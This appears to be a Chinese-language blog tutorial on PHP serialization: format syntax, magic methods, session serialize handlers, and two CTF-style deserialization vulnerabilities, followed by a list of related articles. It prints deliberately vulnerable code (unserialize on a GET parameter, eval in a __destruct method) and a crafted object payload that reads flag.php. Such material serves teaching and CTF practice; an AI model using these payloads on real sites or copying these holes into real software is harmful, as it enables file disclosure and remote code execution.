尽量阐述全PHP序列化的相关东西-。-
1.序列化和反序列化
  序列化是将变量或对象转换成字符串的过程;反序列化是将字符串转换成变量或对象的过程。
  序列化及反序列化常见函数:serialize、unserialize、json_encode、json_decode。
  序列化之后的格式:
    array(a)
      a:<length>:{key,value对},例如a:1:{i,1;j,2;}
    Boolean(b)
    double(d)
    integer(i)
    object(o)
      O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>},例如O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;}(person对象name的属性值为null,age的属性值为19)
    string(s)
      s:length:"value",例如s:1:"f"
    null(N)
 
2.PHP中魔幻函数
  construct:创建对象时初始化
  destruction:结束时销毁对象
  toString:对象被当作字符串时使用
  sleep:序列化对象之前调用
  wakeup:反序列化之前调用
  call:调用对象不存在时使用
  get:调用私有属性时使用
 
3.php_session序列化及反序列化知识
  PHP内置了很多处理器用于对存入$session的数据进行序列化和反序列化。有三种:php_binary(形式:键名长度的ASCII码+键名+序列化的值)、php(形式:键名+“|”+序列化的值)和php_serialize(5.5.4以上版本形式:序列化的值)。可在php.ini中对session.serialize_handler进行设置,也可在代码中对ini_set('session.serialize_handler','php')进行设置。
  示例:
代码:
<?php
ini_set('
session.serialize_handler', 'php');session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>
当网址中a=O:4:"pass":0:{}时,
php模式下形式为a|s:15:"O:4:"pass":0:{}";
php_serialize模式下形式为a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}
  注意,要真的模拟测试,需要百度做详细的各种PHP参数配置哈。
 
4.安全漏洞
例1:将已序列化值反序列化,造成魔幻函数执行
<script language="php">
class Flag{ //flag.php    
public $file;    
public function __tostring(){        
if(isset($this->file)){            
echo file_get_contents($this->file);            
echo "<br />";        
return ("good");        }    }}
$password = unserialize($_GET['password']);  
echo $password;   
</script>
  说明:当对象被当做字符串(如序列化的结果是字符串)时会调用__tostring()魔幻函数。
payload:
<script language="php">
class Flag{ //flag.php    
public $file;    
public function __tostring(){        
if(isset($this->file)){            
echo file_get_contents($this->file);           
echo "<br />";        
return ("good");        }    }}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
  输出序列化字符串:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  
  将此字符串放至$password变量中,执行即可获取flag.php界面的内容。
 
例2:PHP session处理器设置不当造成安全漏洞
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');session_start();
class OowoO{    
public $mdzz;    
function __construct()   
{        
$this->mdzz = 'phpinfo();';    
}    
function __destruct()    
{        eval($this->mdzz);   
}
}
if(isset($_GET['phpinfo']))
{    
$m = new OowoO();
}
else
{    
highlight_string(file_get_contents('index.php'));
}?>
  已知,php.ini(通过phpinfo可看)中session.serialize_handler = php_serilize,代码中ini_set('session.serialize_handler', 'php');
  注意,php会以“|”为界,将之前和之后的内容分别设为键名和键值;而php_serialize恰巧对“|”不敏感。emmmmm,猜到构造方法了吧-。-
  可以给网页传入一个php_serialize的session,然后通过网页的php处理器解析后将“|”后的内容解析成值,执行之。
 
 
 
 
 
 

PHP序列及反序列化安全漏洞的更多相关文章

  1. 企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

  2. Spring framework 反序列化的漏洞

    理解这个漏洞需要先看freebuff上的jdni的小例子. jndi注入在jdk8u121绕过参考这俩篇文章: https://bl4ck.in/tricks/2019/01/04/JNDI-Inje ...

  3. Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现

    Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现 一.漏洞概述  WebLogic的 WLS Security组件对外提供webservic ...

  4. C# xml数组的序列和反序列化

    先来看xml <?xml version="1.0"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSche ...

  5. Apache Shiro 反序列化RCE漏洞

    漏洞介绍 漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://g ...

  6. Apache Shiro<=1.2.4反序列化RCE漏洞

    介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...

  7. .NET(C#)使用Serialize、Deserialize序列和反序列化XML文档

    本文给大家分享一下C#操作(读取.写入)XML文档的实用方法,即用.NET本身提供的Deserialize和Serialize进行反序列化和序列化XML文档.这种方法主要是对比较规范的XML文档进行操 ...

  8. fastjson<=1.2.47反序列化RCE漏洞

    介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库. 漏洞原因:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性 ...

  9. golang的序列与反序列化

    golang写backend之类的应用,还是挺方便的...使用encoding/json包时, 必须注意, 在struct定义的属性必须是exported, 否则不会设置值. 例如:type DRol ...

随机推荐

  1. 机器学习-文本数据-文本的相关性矩阵 1.cosing_similarity(用于计算两两特征之间的相关性)

    函数说明: 1. cosing_similarity(array)   输入的样本为array格式,为经过词袋模型编码以后的向量化特征,用于计算两两样本之间的相关性 当我们使用词频或者TFidf构造出 ...

  2. day37-常见内置模块六(其他模块)

    其他内置模块 1.subprocess(系统交互)模块 2.math模块 3.zipfile模块 4.keyword模块 5....

  3. day04-运算符

    Python语言支持以下类型的运算符: 算术运算符比较运算符赋值运算符逻辑运算符位运算符成员运算符身份运算符 算术运算符 运算符 描述 实例 + 加 - 两个对象相加 10+20输出结果 30 - 减 ...

  4. pycharm 直接删掉数据表之后,makemigration和migrate 之后,数据库中依然没有生成数据表的问题

    综合分析一下行程这个问题的原因: 在终端中运行 select * from django_migrations; 查看 提交的记录,如果你的表删掉了,记录还在,那么数据库会觉得,这个表依然是存在的,所 ...

  5. Homebrew安装与使用

    Homebrew是什么? 官方解释: Homebrew是以最简单,最灵活的方式来安装苹果公司在MacOS中不包含的UNIX工具. 官网:传送门 Git仓库地址:传送门 Homebrew 怎么安装 ?怎 ...

  6. mysql / pgsql 使用sql语句查询数据库所有表注释已经表字段注释

    mysql使用sql语句查询数据库所有表注释已经表字段注释(转载)   场景: 1. 要查询数据库 "mammothcode" 下所有表名以及表注释 /* 查询数据库 ‘mammo ...

  7. [PHP]PHPOffice/PHPExcel数据导入方法

    ------------------------------------------------------------------------------------ /** * PHPExcel数 ...

  8. Android Studio 版本间区别

    2.3.2 ->3.0.1  Gradle版本为4.1   com.android.tools.build:gradle:3.0.x Android Monitor 被换成了 Android P ...

  9. Kubernetes+Prometheus+Grafana部署笔记

    一.基础概念 1.1 基础概念 Kubernetes(通常写成“k8s”)Kubernetes是Google开源的容器集群管理系统.其设计目标是在主机集群之间提供一个能够自动化部署.可拓展.应用容器可 ...

  10. Eclipse里的代码光标变成一个黑色块

    以前经常在编写程序是不知到碰到键盘上的那个键了,或是那几个组合键了,使得Eclipse里的代码光标变成一个黑色块:在这个状态下,光标不在活动自如,只能一直往后写代码,就不想平时的 " | & ...